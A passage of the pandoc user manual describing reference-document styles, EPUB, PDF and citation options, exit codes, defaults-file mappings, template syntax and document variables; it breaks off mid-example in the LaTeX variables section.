For best results, the reference docx should be a modified version of a docx file produced using pandoc. The contents of the reference docx are ignored, but its stylesheets and document properties (including margins, page size, header, and footer) are used in the new docx. If no reference docx is specified on the command line, pandoc will look for a file reference.docx in the user data directory (see --data-dir). If this is not found either, sensible defaults will be used.

To produce a custom reference.docx, first get a copy of the default reference.docx: pandoc -o custom-reference.docx --print-default-data-file reference.docx. Then open custom-reference.docx in Word, modify the styles as you wish, and save the file. For best results, do not make changes to this file other than modifying the styles used by pandoc:

Paragraph styles:

  • Normal

  • Body Text

  • First Paragraph

  • Compact

  • Title

  • Subtitle

  • Author

  • Date

  • Abstract

  • AbstractTitle

  • Bibliography

  • Heading 1

  • Heading 2

  • Heading 3

  • Heading 4

  • Heading 5

  • Heading 6

  • Heading 7

  • Heading 8

  • Heading 9

  • Block Text [for block quotes]

  • Footnote Block Text [for block quotes in footnotes]

  • Source Code

  • Footnote Text

  • Definition Term

  • Definition

  • Caption

  • Table Caption

  • Image Caption

  • Figure

  • Captioned Figure

  • TOC Heading

Character styles:

  • Default Paragraph Font

  • Body Text Char

  • Verbatim Char

  • Footnote Reference

  • Hyperlink

  • Section Number

Table style:

  • Table

ODT
For best results, the reference ODT should be a modified version of an ODT produced using pandoc. The contents of the reference ODT are ignored, but its stylesheets are used in the new ODT. If no reference ODT is specified on the command line, pandoc will look for a file reference.odt in the user data directory (see --data-dir). If this is not found either, sensible defaults will be used.

To produce a custom reference.odt, first get a copy of the default reference.odt: pandoc -o custom-reference.odt --print-default-data-file reference.odt. Then open custom-reference.odt in LibreOffice, modify the styles as you wish, and save the file.

PowerPoint
Templates included with Microsoft PowerPoint 2013 (either with .pptx or .potx extension) are known to work, as are most templates derived from these.

The specific requirement is that the template should contain layouts with the following names (as seen within PowerPoint):

  • Title Slide

  • Title and Content

  • Section Header

  • Two Content

  • Comparison

  • Content with Caption

  • Blank

For each name, the first layout found with that name will be used. If no layout is found with one of the names, pandoc will output a warning and use the layout with that name from the default reference doc instead. (How these layouts are used is described in PowerPoint layout choice.)

All templates included with a recent version of MS PowerPoint will fit these criteria. (You can click on Layout under the Home menu to check.)

You can also modify the default reference.pptx: first run pandoc -o custom-reference.pptx --print-default-data-file reference.pptx, and then modify custom-reference.pptx in MS PowerPoint (pandoc will use the layouts with the names listed above).

--split-level=NUMBER
Specify the heading level at which to split an EPUB or chunked HTML document into separate files. The default is to split into chapters at level-1 headings. In the case of EPUB, this option only affects the internal composition of the EPUB, not the way chapters and sections are displayed to users. Some readers may be slow if the chapter files are too large, so for large documents with few level-1 headings, one might want to use a chapter level of 2 or 3. For chunked HTML, this option determines how much content goes in each “chunk.”

--chunk-template=PATHTEMPLATE
Specify a template for the filenames in a chunkedhtml document. In the template, %n will be replaced by the chunk number (padded with leading 0s to 3 digits), %s with the section number of the chunk, %h with the heading text (with formatting removed), %i with the section identifier. For example, %section-%s-%i.html might be resolved to section-1.1-introduction.html. The characters / and \ are not allowed in chunk templates and will be ignored. The default is %s-%i.html.

--epub-chapter-level=NUMBER
Deprecated synonym for --split-level.

--epub-cover-image=FILE
Use the specified image as the EPUB cover. It is recommended that the image be less than 1000px in width and height. Note that in a Markdown source document you can also specify cover-image in a YAML metadata block (see EPUB Metadata, below).

--epub-title-page=true|false
Determines whether a the title page is included in the EPUB (default is true).

--epub-metadata=FILE
Look in the specified XML file for metadata for the EPUB. The file should contain a series of Dublin Core elements. For example:

 <dc:rights>Creative Commons</dc:rights>
 <dc:language>es-AR</dc:language>

By default, pandoc will include the following metadata elements: <dc:title> (from the document title), <dc:creator> (from the document authors), <dc:date> (from the document date, which should be in ISO 8601 format), <dc:language> (from the lang variable, or, if is not set, the locale), and <dc:identifier id="BookId"> (a randomly generated UUID). Any of these may be overridden by elements in the metadata file.

Note: if the source document is Markdown, a YAML metadata block in the document can be used instead. See below under EPUB Metadata.

--epub-embed-font=FILE
Embed the specified font in the EPUB. This option can be repeated to embed multiple fonts. Wildcards can also be used: for example, DejaVuSans-*.ttf. However, if you use wildcards on the command line, be sure to escape them or put the whole filename in single quotes, to prevent them from being interpreted by the shell. To use the embedded fonts, you will need to add declarations like the following to your CSS (see --css):

@font-face {
   font-family: DejaVuSans;
   font-style: normal;
   font-weight: normal;
   src:url("../fonts/DejaVuSans-Regular.ttf");
}
@font-face {
   font-family: DejaVuSans;
   font-style: normal;
   font-weight: bold;
   src:url("../fonts/DejaVuSans-Bold.ttf");
}
@font-face {
   font-family: DejaVuSans;
   font-style: italic;
   font-weight: normal;
   src:url("../fonts/DejaVuSans-Oblique.ttf");
}
@font-face {
   font-family: DejaVuSans;
   font-style: italic;
   font-weight: bold;
   src:url("../fonts/DejaVuSans-BoldOblique.ttf");
}
body { font-family: "DejaVuSans"; }

--epub-subdirectory=DIRNAME
Specify the subdirectory in the OCF container that is to hold the EPUB-specific contents. The default is EPUB. To put the EPUB contents in the top level, use an empty string.

--ipynb-output=all|none|best
Determines how ipynb output cells are treated. all means that all of the data formats included in the original are preserved. none means that the contents of data cells are omitted. best causes pandoc to try to pick the richest data block in each output cell that is compatible with the output format. The default is best.

--pdf-engine=PROGRAM
Use the specified engine when producing PDF output. Valid values are pdflatex, lualatex, xelatex, latexmk, tectonic, wkhtmltopdf, weasyprint, pagedjs-cli, prince, context, pdfroff, and typst. If the engine is not in your PATH, the full path of the engine may be specified here. If this option is not specified, pandoc uses the following defaults depending on the output format specified using -t/--to:

  • -t latex or none: pdflatex (other options: xelatex, lualatex, tectonic, latexmk)

  • -t context: context

  • -t html: wkhtmltopdf (other options: prince, weasyprint, pagedjs-cli; see print-css.rocks for a good introduction to PDF generation from HTML/CSS)

  • -t ms: pdfroff

  • -t typst: typst

--pdf-engine-opt=STRING
Use the given string as a command-line argument to the pdf-engine. For example, to use a persistent directory foo for latexmk’s auxiliary files, use --pdf-engine-opt=-outdir=foo. Note that no check for duplicate options is done.

Citation rendering

-C, --citeproc
Process the citations in the file, replacing them with rendered citations and adding a bibliography. Citation processing will not take place unless bibliographic data is supplied, either through an external file specified using the --bibliography option or the bibliography field in metadata, or via a references section in metadata containing a list of citations in CSL YAML format with Markdown formatting. The style is controlled by a CSL stylesheet specified using the --csl option or the csl field in metadata. (If no stylesheet is specified, the chicago-author-date style will be used by default.) The citation processing transformation may be applied before or after filters or Lua filters (see --filter, --lua-filter): these transformations are applied in the order they appear on the command line. For more information, see the section on Citations.

--bibliography=FILE
Set the bibliography field in the document’s metadata to FILE, overriding any value set in the metadata. If you supply this argument multiple times, each FILE will be added to bibliography. If FILE is a URL, it will be fetched via HTTP. If FILE is not found relative to the working directory, it will be sought in the resource path (see --resource-path).

--csl=FILE
Set the csl field in the document’s metadata to FILE, overriding any value set in the metadata. (This is equivalent to --metadata csl=FILE.) If FILE is a URL, it will be fetched via HTTP. If FILE is not found relative to the working directory, it will be sought in the resource path (see --resource-path) and finally in the csl subdirectory of the pandoc user data directory.

--citation-abbreviations=FILE
Set the citation-abbreviations field in the document’s metadata to FILE, overriding any value set in the metadata. (This is equivalent to --metadata citation-abbreviations=FILE.) If FILE is a URL, it will be fetched via HTTP. If FILE is not found relative to the working directory, it will be sought in the resource path (see --resource-path) and finally in the csl subdirectory of the pandoc user data directory.

--natbib
Use natbib for citations in LaTeX output. This option is not for use with the --citeproc option or with PDF output. It is intended for use in producing a LaTeX file that can be processed with bibtex.

--biblatex
Use biblatex for citations in LaTeX output. This option is not for use with the --citeproc option or with PDF output. It is intended for use in producing a LaTeX file that can be processed with bibtex or biber.

Math rendering in HTML

The default is to render TeX math as far as possible using Unicode characters. Formulas are put inside a span with class="math", so that they may be styled differently from the surrounding text if needed. However, this gives acceptable results only for basic math, usually you will want to use --mathjax or another of the following options.

--mathjax[=URL]
Use MathJax to display embedded TeX math in HTML output. TeX math will be put between \(...\) (for inline math) or \[...\] (for display math) and wrapped in <span> tags with class math. Then the MathJax JavaScript will render it. The URL should point to the MathJax.js load script. If a URL is not provided, a link to the Cloudflare CDN will be inserted.

--mathml
Convert TeX math to MathML (in epub3, docbook4, docbook5, jats, html4 and html5). This is the default in odt output. MathML is supported natively by the main web browsers and select e-book readers.

--webtex[=URL]
Convert TeX formulas to <img> tags that link to an external script that converts formulas to images. The formula will be URL-encoded and concatenated with the URL provided. For SVG images you can for example use --webtex https://latex.codecogs.com/svg.latex?. If no URL is specified, the CodeCogs URL generating PNGs will be used (https://latex.codecogs.com/png.latex?). Note: the --webtex option will affect Markdown output as well as HTML, which is useful if you’re targeting a version of Markdown without native math support.

--katex[=URL]
Use KaTeX to display embedded TeX math in HTML output. The URL is the base URL for the KaTeX library. That directory should contain a katex.min.js and a katex.min.css file. If a URL is not provided, a link to the KaTeX CDN will be inserted.

--gladtex
Enclose TeX math in <eq> tags in HTML output. The resulting HTML can then be processed by GladTeX to produce SVG images of the typeset formulas and an HTML file with these images embedded.

pandoc -s --gladtex input.md -o myfile.htex
gladtex -d image_dir myfile.htex
# produces myfile.html and images in image_dir

Options for wrapper scripts

--dump-args[=true|false]
Print information about command-line arguments to stdout, then exit. This option is intended primarily for use in wrapper scripts. The first line of output contains the name of the output file specified with the -o option, or - (for stdout) if no output file was specified. The remaining lines contain the command-line arguments, one per line, in the order they appear. These do not include regular pandoc options and their arguments, but do include any options appearing after a -- separator at the end of the line.

--ignore-args[=true|false]
Ignore command-line arguments (for use in wrapper scripts). Regular pandoc options are not ignored. Thus, for example,

pandoc --ignore-args -o foo.html -s foo.txt -- -e latin1

is equivalent to

pandoc -o foo.html -s

EXIT CODES

If pandoc completes successfully, it will return exit code 0. Nonzero exit codes have the following meanings:

Code Error
  ------ -------------------------------------
       1 PandocIOError
       3 PandocFailOnWarningError
       4 PandocAppError
       5 PandocTemplateError
       6 PandocOptionError
      21 PandocUnknownReaderError
      22 PandocUnknownWriterError
      23 PandocUnsupportedExtensionError
      24 PandocCiteprocError
      25 PandocBibliographyError
      31 PandocEpubSubdirectoryError
      43 PandocPDFError
      44 PandocXMLError
      47 PandocPDFProgramNotFoundError
      61 PandocHttpError
      62 PandocShouldNeverHappenError
      63 PandocSomeError
      64 PandocParseError
      66 PandocMakePDFError
      67 PandocSyntaxMapError
      83 PandocFilterError
      84 PandocLuaError
      89 PandocNoScriptingEngine
      91 PandocMacroLoop
      92 PandocUTF8DecodingError
      93 PandocIpynbDecodingError
      94 PandocUnsupportedCharsetError
      97 PandocCouldNotFindDataFileError
      98 PandocCouldNotFindMetadataFileError
      99 PandocResourceNotFound

DEFAULTS FILES

The --defaults option may be used to specify a package of options, in the form of a YAML file.

Fields that are omitted will just have their regular default values. So a defaults file can be as simple as one line:

verbosity: INFO

In fields that expect a file path (or list of file paths), the following syntax may be used to interpolate environment variables:

csl:  ${HOME}/mycsldir/special.csl

${USERDATA} may also be used; this will always resolve to the user data directory that is current when the defaults file is parsed, regardless of the setting of the environment variable USERDATA.

${.} will resolve to the directory containing the defaults file itself. This allows you to refer to resources contained in that directory:

epub-cover-image: ${.}/cover.jpg
epub-metadata: ${.}/meta.xml
resource-path:
- .             # the working directory from which pandoc is run
- ${.}/images   # the images subdirectory of the directory
                # containing this defaults file

This environment variable interpolation syntax only works in fields that expect file paths.

Defaults files can be placed in the defaults subdirectory of the user data directory and used from any directory. For example, one could create a file specifying defaults for writing letters, save it as letter.yaml in the defaults subdirectory of the user data directory, and then invoke these defaults from any directory using pandoc --defaults letter or pandoc -dletter.

When multiple defaults are used, their contents will be combined.

Note that, where command-line arguments may be repeated (--metadata-file, --css, --include-in-header, --include-before-body, --include-after-body, --variable, --metadata, --syntax-definition), the values specified on the command line will combine with values specified in the defaults file, rather than replacing them.

The following tables show the mapping between the command line and defaults file entries.

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 foo.md                            input-file: foo.md            

 foo.md bar.md                     input-files:                  
                                     - foo.md                    
                                     - bar.md                    

The value of input-files may be left empty to indicate input from stdin, and it can be an empty sequence [] for no input.

General options

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 --from markdown+emoji             from: markdown+emoji          
                                                                 
                                   reader: markdown+emoji        

                                   to: markdown+hard_line_breaks 
   --to markdown+hard_line_breaks                                    
                                                                 
                               writer: markdown+hard_line_breaks 

 --output foo.pdf                  output-file: foo.pdf          

 --output -                        output-file:                  

 --data-dir dir                    data-dir: dir                 

 --defaults file                   defaults:                     
                                   - file                        

 --verbose                         verbosity: INFO               

 --quiet                           verbosity: ERROR              

 --fail-if-warnings                fail-if-warnings: true        

 --sandbox                         sandbox: true                 

 --log=FILE                        log-file: FILE                

Options specified in a defaults file itself always have priority over those in another file included with a defaults: entry.

verbosity can have the values ERROR, WARNING, or INFO.

Reader options

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 --shift-heading-level-by -1       shift-heading-level-by: -1    

                                   indented-code-classes:        
   --indented-code-classes python        - python                    

                                                                 
 --default-image-extension ".jpg"    default-image-extension: '.jpg' 

 --file-scope                      file-scope: true              

 --citeproc \                      filters:                      
                                     - citeproc                  
   --lua-filter count-words.lua \        - count-words.lua           
  --filter special.lua               - type: json                
                                       path: special.lua         

 --metadata key=value \            metadata:                     
  --metadata key2                    key: value                  
                                     key2: true                  

 --metadata-file meta.yaml         metadata-files:               
                                     - meta.yaml                 
                                                                 
                                   metadata-file: meta.yaml      

 --preserve-tabs                   preserve-tabs: true           

 --tab-stop 8                      tab-stop: 8                   

 --track-changes accept            track-changes: accept         

 --extract-media dir               extract-media: dir            

 --abbreviations abbrevs.txt       abbreviations: abbrevs.txt    

 --trace                           trace: true                   

Metadata values specified in a defaults file are parsed as literal string text, not Markdown.

Filters will be assumed to be Lua filters if they have the .lua extension, and JSON filters otherwise. But the filter type can also be specified explicitly, as shown. Filters are run in the order specified. To include the built-in citeproc filter, use either citeproc or {type: citeproc}.

General writer options

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 --standalone                      standalone: true              

 --template letter                 template: letter              

 --variable key=val \              variables:                    
   --variable key2                   key: val                    
                                     key2: true                  

 --eol nl                          eol: nl                       

 --dpi 300                         dpi: 300                      

 --wrap 60                         wrap: 60                      

 --columns 72                      columns: 72                   

 --table-of-contents               table-of-contents: true       

 --toc                             toc: true                     

 --toc-depth 3                     toc-depth: 3                  

 --strip-comments                  strip-comments: true          

 --no-highlight                    highlight-style: null         

 --highlight-style kate            highlight-style: kate         

                                   syntax-definitions:           
   --syntax-definition mylang.xml        - mylang.xml                
                                                                 
                                   syntax-definition: mylang.xml 

 --include-in-header inc.tex       include-in-header:            
                                     - inc.tex                   

                                   include-before-body:          
--include-before-body inc.tex        - inc.tex                   

 --include-after-body inc.tex      include-after-body:           
                                     - inc.tex                   

 --resource-path .:foo             resource-path: ['.','foo']    

 --request-header foo:bar          request-headers:              
                                                                 
                                 - ["User-Agent", "Mozilla/5.0"] 

 --no-check-certificate            no-check-certificate: true    

Options affecting specific writers

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 --self-contained                  self-contained: true          

 --html-q-tags                     html-q-tags: true             

 --ascii                           ascii: true                   

 --reference-links                 reference-links: true         

 --reference-location block        reference-location: block     

 --markdown-headings atx           markdown-headings: atx        

 --list-tables                     list-tables: true             

 --top-level-division chapter      top-level-division: chapter   

 --number-sections                 number-sections: true         

 --number-offset=1,4               number-offset: \[1,4\]        

 --listings                        listings: true                

 --incremental                     incremental: true             

 --slide-level 2                   slide-level: 2                

 --section-divs                    section-divs: true            

                                   email-obfuscation: references 
   --email-obfuscation references                                    

 --id-prefix ch1                   identifier-prefix: ch1        

 --title-prefix MySite             title-prefix: MySite          

 --css styles/screen.css  \        css:                          
   --css styles/special.css          - styles/screen.css         
                                     - styles/special.css        

 --reference-doc my.docx           reference-doc: my.docx        

 --epub-cover-image cover.jpg      epub-cover-image: cover.jpg   

 --epub-title-page=false           epub-title-page: false        

 --epub-metadata meta.xml          epub-metadata: meta.xml       

                                   epub-fonts:                   
  --epub-embed-font special.otf \        - special.otf               
                                     - headline.otf              
   --epub-embed-font headline.otf                                    

 --split-level 2                   split-level: 2                

 --chunk-template="%i.html"        chunk-template: "%i.html"     

 --epub-subdirectory=""            epub-subdirectory: ''         

 --ipynb-output best               ipynb-output: best            

 --pdf-engine xelatex              pdf-engine: xelatex           

                                   pdf-engine-opts:              
  --pdf-engine-opt=--shell-escape        - '-shell-escape'           
                                                                 
                                                                 
                                 pdf-engine-opt: '-shell-escape' 

Citation rendering

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 --citeproc                        citeproc: true                

 --bibliography logic.bib          bibliography: logic.bib       

 --csl ieee.csl                    csl: ieee.csl                 

                                                                 
 --citation-abbreviations ab.json    citation-abbreviations: ab.json 

 --natbib                          cite-method: natbib           

 --biblatex                        cite-method: biblatex         

cite-method can be citeproc, natbib, or biblatex. This only affects LaTeX output. If you want to use citeproc to format citations, you should also set `citeproc: true'.

If you need control over when the citeproc processing is done relative to other filters, you should instead use citeproc in the list of filters (see Reader options).

Math rendering in HTML

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 --mathjax                         html-math-method:             
                                     method: mathjax             

 --mathml                          html-math-method:             
                                     method: mathml              

 --webtex                          html-math-method:             
                                     method: webtex              

 --katex                           html-math-method:             
                                     method: katex               

 --gladtex                         html-math-method:             
                                     method: gladtex             

In addition to the values listed above, method can have the value plain.

If the command line option accepts a URL argument, an url: field can be added to html-math-method:.

Options for wrapper scripts

 command line                      defaults file                     
 --------------------------------- ----------------------------------
 --dump-args                       dump-args: true               

 --ignore-args                     ignore-args: true             

TEMPLATES

When the -s/--standalone option is used, pandoc uses a template to add header and footer material that is needed for a self-standing document. To see the default template that is used, just type

pandoc -D *FORMAT*

where FORMAT is the name of the output format. A custom template can be specified using the --template option. You can also override the system default templates for a given output format FORMAT by putting a file templates/default.*FORMAT* in the user data directory (see --data-dir, above). Exceptions:

  • For odt output, customize the default.opendocument template.

  • For pdf output, customize the default.latex template (or the default.context template, if you use -t context, or the default.ms template, if you use -t ms, or the default.html template, if you use -t html).

  • docx and pptx have no template (however, you can use --reference-doc to customize the output).

Templates contain variables, which allow for the inclusion of arbitrary information at any point in the file. They may be set at the command line using the -V/--variable option. If a variable is not set, pandoc will look for the key in the document’s metadata, which can be set using either YAML metadata blocks or with the -M/--metadata option. In addition, some variables are given default values by pandoc. See Variables below for a list of variables used in pandoc’s default templates.

If you use custom templates, you may need to revise them as pandoc changes. We recommend tracking the changes in the default templates, and modifying your custom templates accordingly. An easy way to do this is to fork the pandoc-templates repository and merge in changes after each pandoc release.

Template syntax

Comments

Anything between the sequence $-- and the end of the line will be treated as a comment and omitted from the output.

Delimiters

To mark variables and control structures in the template, either $$ or ${} may be used as delimiters. The styles may also be mixed in the same template, but the opening and closing delimiter must match in each case. The opening delimiter may be followed by one or more spaces or tabs, which will be ignored. The closing delimiter may be preceded by one or more spaces or tabs, which will be ignored.

To include a literal $ in the document, use $$.

Interpolated variables

A slot for an interpolated variable is a variable name surrounded by matched delimiters. Variable names must begin with a letter and can contain letters, numbers, _, -, and .. The keywords it, if, else, endif, for, sep, and endfor may not be used as variable names. Examples:

$foo$
$foo.bar.baz$
$foo_bar.baz-bim$
$ foo $
${foo}
${foo.bar.baz}
${foo_bar.baz-bim}
${ foo }

Variable names with periods are used to get at structured variable values. So, for example, employee.salary will return the value of the salary field of the object that is the value of the employee field.

  • If the value of the variable is a simple value, it will be rendered verbatim. (Note that no escaping is done; the assumption is that the calling program will escape the strings appropriately for the output format.)

  • If the value is a list, the values will be concatenated.

  • If the value is a map, the string true will be rendered.

  • Every other value will be rendered as the empty string.

Conditionals

A conditional begins with if(variable) (enclosed in matched delimiters) and ends with endif (enclosed in matched delimiters). It may optionally contain an else (enclosed in matched delimiters). The if section is used if variable has a true value, otherwise the else section is used (if present). The following values count as true:

  • any map

  • any array containing at least one true value

  • any nonempty string

  • boolean True

Note that in YAML metadata (and metadata specified on the command line using -M/--metadata), unquoted true and false will be interpreted as Boolean values. But a variable specified on the command line using -V/--variable will always be given a string value. Hence a conditional if(foo) will be triggered if you use -V foo=false, but not if you use -M foo=false.

Examples:

$if(foo)$bar$endif$

$if(foo)$
  $foo$
$endif$

$if(foo)$
part one
$else$
part two
$endif$

${if(foo)}bar${endif}

${if(foo)}
  ${foo}
${endif}

${if(foo)}
${ foo.bar }
${else}
no foo!
${endif}

The keyword elseif may be used to simplify complex nested conditionals:

$if(foo)$
XXX
$elseif(bar)$
YYY
$else$
ZZZ
$endif$

For loops

A for loop begins with for(variable) (enclosed in matched delimiters) and ends with endfor (enclosed in matched delimiters).

  • If variable is an array, the material inside the loop will be evaluated repeatedly, with variable being set to each value of the array in turn, and concatenated.

  • If variable is a map, the material inside will be set to the map.

  • If the value of the associated variable is not an array or a map, a single iteration will be performed on its value.

Examples:

$for(foo)$$foo$$sep$, $endfor$

$for(foo)$
  - $foo.last$, $foo.first$
$endfor$

${ for(foo.bar) }
  - ${ foo.bar.last }, ${ foo.bar.first }
${ endfor }

$for(mymap)$
$it.name$: $it.office$
$endfor$

You may optionally specify a separator between consecutive values using sep (enclosed in matched delimiters). The material between sep and the endfor is the separator.

${ for(foo) }${ foo }${ sep }, ${ endfor }

Instead of using variable inside the loop, the special anaphoric keyword it may be used.

${ for(foo.bar) }
  - ${ it.last }, ${ it.first }
${ endfor }

Partials

Partials (subtemplates stored in different files) may be included by using the name of the partial, followed by (), for example:

${ styles() }

Partials will be sought in the directory containing the main template. The file name will be assumed to have the same extension as the main template if it lacks an extension. When calling the partial, the full name including file extension can also be used:

${ styles.html() }

(If a partial is not found in the directory of the template and the template path is given as a relative path, it will also be sought in the templates subdirectory of the user data directory.)

Partials may optionally be applied to variables using a colon:

${ date:fancy() }

${ articles:bibentry() }

If articles is an array, this will iterate over its values, applying the partial bibentry() to each one. So the second example above is equivalent to

${ for(articles) }
${ it:bibentry() }
${ endfor }

Note that the anaphoric keyword it must be used when iterating over partials. In the above examples, the bibentry partial should contain it.title (and so on) instead of articles.title.

Final newlines are omitted from included partials.

Partials may include other partials.

A separator between values of an array may be specified in square brackets, immediately after the variable name or partial:

${months[, ]}$

${articles:bibentry()[; ]$

The separator in this case is literal and (unlike with sep in an explicit for loop) cannot contain interpolated variables or other template directives.

Nesting

To ensure that content is “nested,” that is, subsequent lines indented, use the ^ directive:

$item.number$  $^$$item.description$ ($item.price$)

In this example, if item.description has multiple lines, they will all be indented to line up with the first line:

00123  A fine bottle of 18-year old
       Oban whiskey. ($148)

To nest multiple lines to the same level, align them with the ^ directive in the template. For example:

$item.number$  $^$$item.description$ ($item.price$)
               (Available til $item.sellby$.)

will produce

00123  A fine bottle of 18-year old
       Oban whiskey. ($148)
       (Available til March 30, 2020.)

If a variable occurs by itself on a line, preceded by whitespace and not followed by further text or directives on the same line, and the variable’s value contains multiple lines, it will be nested automatically.

Breakable spaces

Normally, spaces in the template itself (as opposed to values of the interpolated variables) are not breakable, but they can be made breakable in part of the template by using the ~ keyword (ended with another ~).

$~$This long line may break if the document is rendered
with a short line length.$~$

Pipes

A pipe transforms the value of a variable or partial. Pipes are specified using a slash (/) between the variable name (or partial) and the pipe name. Example:

$for(name)$
$name/uppercase$
$endfor$

$for(metadata/pairs)$
- $it.key$: $it.value$
$endfor$

$employee:name()/uppercase$

Pipes may be chained:

$for(employees/pairs)$
$it.key/alpha/uppercase$. $it.name$
$endfor$

Some pipes take parameters:

|----------------------|------------|
$for(employee)$
$it.name.first/uppercase/left 20 "| "$$it.name.salary/right 10 " | " " |"$
$endfor$
|----------------------|------------|

Currently the following pipes are predefined:

  • pairs: Converts a map or array to an array of maps, each with key and value fields. If the original value was an array, the key will be the array index, starting with 1.

  • uppercase: Converts text to uppercase.

  • lowercase: Converts text to lowercase.

  • length: Returns the length of the value: number of characters for a textual value, number of elements for a map or array.

  • reverse: Reverses a textual value or array, and has no effect on other values.

  • first: Returns the first value of an array, if applied to a non-empty array; otherwise returns the original value.

  • last: Returns the last value of an array, if applied to a non-empty array; otherwise returns the original value.

  • rest: Returns all but the first value of an array, if applied to a non-empty array; otherwise returns the original value.

  • allbutlast: Returns all but the last value of an array, if applied to a non-empty array; otherwise returns the original value.

  • chomp: Removes trailing newlines (and breakable space).

  • nowrap: Disables line wrapping on breakable spaces.

  • alpha: Converts textual values that can be read as an integer into lowercase alphabetic characters a..z (mod 26). This can be used to get lettered enumeration from array indices. To get uppercase letters, chain with uppercase.

  • roman: Converts textual values that can be read as an integer into lowercase roman numerals. This can be used to get lettered enumeration from array indices. To get uppercase roman, chain with uppercase.

  • left n "leftborder" "rightborder": Renders a textual value in a block of width n, aligned to the left, with an optional left and right border. Has no effect on other values. This can be used to align material in tables. Widths are positive integers indicating the number of characters. Borders are strings inside double quotes; literal " and \ characters must be backslash-escaped.

  • right n "leftborder" "rightborder": Renders a textual value in a block of width n, aligned to the right, and has no effect on other values.

  • center n "leftborder" "rightborder": Renders a textual value in a block of width n, aligned to the center, and has no effect on other values.

Variables

Metadata variables

title, author, date
allow identification of basic aspects of the document. Included in PDF metadata through LaTeX and ConTeXt. These can be set through a pandoc title block, which allows for multiple authors, or through a YAML metadata block:

---
author:
- Aristotle
- Peter Abelard
...

Note that if you just want to set PDF or HTML metadata, without including a title block in the document itself, you can set the title-meta, author-meta, and date-meta variables. (By default these are set automatically, based on title, author, and date.) The page title in HTML is set by pagetitle, which is equal to title by default.

subtitle
document subtitle, included in HTML, EPUB, LaTeX, ConTeXt, and docx documents

abstract
document summary, included in HTML, LaTeX, ConTeXt, AsciiDoc, and docx documents

abstract-title
title of abstract, currently used only in HTML, EPUB, and docx. This will be set automatically to a localized value, depending on lang, but can be manually overridden.

keywords
list of keywords to be included in HTML, PDF, ODT, pptx, docx and AsciiDoc metadata; repeat as for author, above

subject
document subject, included in ODT, PDF, docx, EPUB, and pptx metadata

description
document description, included in ODT, docx and pptx metadata. Some applications show this as Comments metadata.

category
document category, included in docx and pptx metadata

Additionally, any root-level string metadata, not included in ODT, docx or pptx metadata is added as a custom property. The following YAML metadata block for instance:

---
title: 'This is the title'
subtitle: "This is the subtitle"
author:
- Author One
- Author Two
description: |
    This is a long
    description.

    It consists of two paragraphs
...

will include title, author and description as standard document properties and subtitle as a custom property when converting to docx, ODT or pptx.

Language variables

lang
identifies the main language of the document using IETF language tags (following the BCP 47 standard), such as en or en-GB. The Language subtag lookup tool can look up or verify these tags. This affects most formats, and controls hyphenation in PDF output when using LaTeX (through babel and polyglossia) or ConTeXt.

Use native pandoc Divs and Spans with the lang attribute to switch the language:

---
lang: en-GB
...

Text in the main document language (British English).

::: {lang=fr-CA}
> Cette citation est écrite en français canadien.
:::

More text in English. ['Zitat auf Deutsch.']{lang=de}

dir
the base script direction, either rtl (right-to-left) or ltr (left-to-right).

For bidirectional documents, native pandoc spans and divs with the dir attribute (value rtl or ltr) can be used to override the base direction in some output formats. This may not always be necessary if the final renderer (e.g. the browser, when generating HTML) supports the Unicode Bidirectional Algorithm.

When using LaTeX for bidirectional documents, only the xelatex engine is fully supported (use --pdf-engine=xelatex).

Variables for HTML

document-css
Enables inclusion of most of the CSS in the styles.html partial (have a look with pandoc --print-default-data-file=templates/styles.html). Unless you use --css, this variable is set to true by default. You can disable it with e.g. pandoc -M document-css=false.

mainfont
sets the CSS font-family property on the html element.

fontsize
sets the base CSS font-size, which you’d usually set to e.g. 20px, but it also accepts pt (12pt = 16px in most browsers).

fontcolor
sets the CSS color property on the html element.

linkcolor
sets the CSS color property on all links.

monofont
sets the CSS font-family property on code elements.

monobackgroundcolor
sets the CSS background-color property on code elements and adds extra padding.

linestretch
sets the CSS line-height property on the html element, which is preferred to be unitless.

maxwidth
sets the CSS max-width property (default is 32em).

backgroundcolor
sets the CSS background-color property on the html element.

margin-left, margin-right, margin-top, margin-bottom
sets the corresponding CSS padding properties on the body element.

To override or extend some CSS for just one document, include for example:

---
header-includes: |
  <style>
  blockquote {
    font-style: italic;
  }
  tr.even {
    background-color: #f0f0f0;
  }
  td, th {
    padding: 0.5em 2em 0.5em 0.5em;
  }
  tbody {
    border-bottom: none;
  }
  </style>
---

Variables for HTML math

classoption
when using --katex, you can render display math equations flush left using YAML metadata or with -M classoption=fleqn.

Variables for HTML slides

These affect HTML output when producing slide shows with pandoc.

institute
author affiliations: can be a list when there are multiple authors

revealjs-url
base URL for reveal.js documents (defaults to https://unpkg.com/reveal.js@^4/)

s5-url
base URL for S5 documents (defaults to s5/default)

slidy-url
base URL for Slidy documents (defaults to https://www.w3.org/Talks/Tools/Slidy2)

slideous-url
base URL for Slideous documents (defaults to slideous)

title-slide-attributes
additional attributes for the title slide of reveal.js slide shows. See background in reveal.js, beamer, and pptx for an example.

All reveal.js configuration options are available as variables. To turn off boolean flags that default to true in reveal.js, use 0.

Variables for Beamer slides

These variables change the appearance of PDF slides using beamer.

aspectratio
slide aspect ratio (43 for 4:3 [default], 169 for 16:9, 1610 for 16:10, 149 for 14:9, 141 for 1.41:1, 54 for 5:4, 32 for 3:2)

beameroption
add extra beamer option with \setbeameroption{}

institute
author affiliations: can be a list when there are multiple authors

logo
logo image for slides

navigation
controls navigation symbols (default is empty for no navigation symbols; other valid values are frame, vertical, and horizontal)

section-titles
enables “title pages” for new sections (default is true)

theme, colortheme, fonttheme, innertheme, outertheme
beamer themes

themeoptions
options for LaTeX beamer themes (a list).

titlegraphic
image for title slide

titlegraphicoptions
options for title slide image

Variables for PowerPoint

These variables control the visual aspects of a slide show that are not easily controlled via templates.

monofont
font to use for code.

Variables for LaTeX

Pandoc uses these variables when creating a PDF with a LaTeX engine.

Layout

block-headings
make \paragraph and \subparagraph (fourth- and fifth-level headings, or fifth- and sixth-level with book classes) free-standing rather than run-in; requires further formatting to distinguish from \subsubsection (third- or fourth-level headings). Instead of using this option, KOMA-Script can adjust headings more extensively:

---
documentclass: scrartcl
header-includes: |
